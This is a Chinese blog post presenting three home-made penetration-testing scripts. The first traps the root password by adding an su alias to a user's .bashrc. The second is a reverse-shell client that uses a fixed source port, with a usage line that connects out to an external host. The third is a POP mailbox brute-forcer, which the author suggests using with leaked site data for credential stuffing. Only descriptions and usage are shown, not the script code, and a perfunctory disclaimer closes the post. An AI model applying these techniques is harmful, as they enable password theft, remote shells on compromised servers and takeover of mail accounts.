首页 » 软件工具 » 浏览内容

网站渗透常用到的Python小脚本

1115 0 发表评论

0×00
渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小使用,求欣赏,求好评。

0×01
记录root密码小工具

root.py

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

0×02

设置源端口反弹shell
渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,
Ping了下百度 可以ping通,
那真相只有一个:服务器变态的限制了只能某些提供已某些端口为源端口去连接外面

比如:
只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。
谷歌程序无果,自己查了相关api后写了个。
client-port.c

用法:

如 ./port  https://www.exehack.net  80  80
成功反弹shell 提权成功

0×03 邮箱爆破脚本
某个时候 需要爆破一批邮箱
Burp163.pl

用法:将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

再将去除掉@后面部分的邮箱地址比如exehack@163.com 去除后exehack存进去
同目录user.txt中吗,再将字典存进去pass.txt
你可能会说:这个有点鸡肋吧 万一邮箱的密码很复杂

搞到了一个小站的数据,
用这个程序批量测试密码是否就是邮箱密码 呵呵,我啥都没说。

0×04
这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。

本文来源91ri.org 略有删减!

标签:

评论 共 0 条 (RSS 2.0) 发表 评论

  1. 暂无评论,快来抢沙发!

发表评论

  •   没有头像?

关注我们,实时联系

通知公告">更多...

♥如果喜欢本站可以直接点击订阅博客
♥点击此加入晓残博客会员群加入扣群
♥本站免费提供加密解密服务点击解密
♥如果你有意向广告合作点击广

关注微信

订阅博客

站内广告

博客统计

  • 日志总数:520 篇
  • 评论数目:1868 条
  • 标签总数:42 个
  • 页面总数:8 个
  • 分类总数:17 个
  • 友链总数:24 个
  • 建站日期:2011-02-13
  • 运行天数:2443 天
  • 最后更新:2017-10-21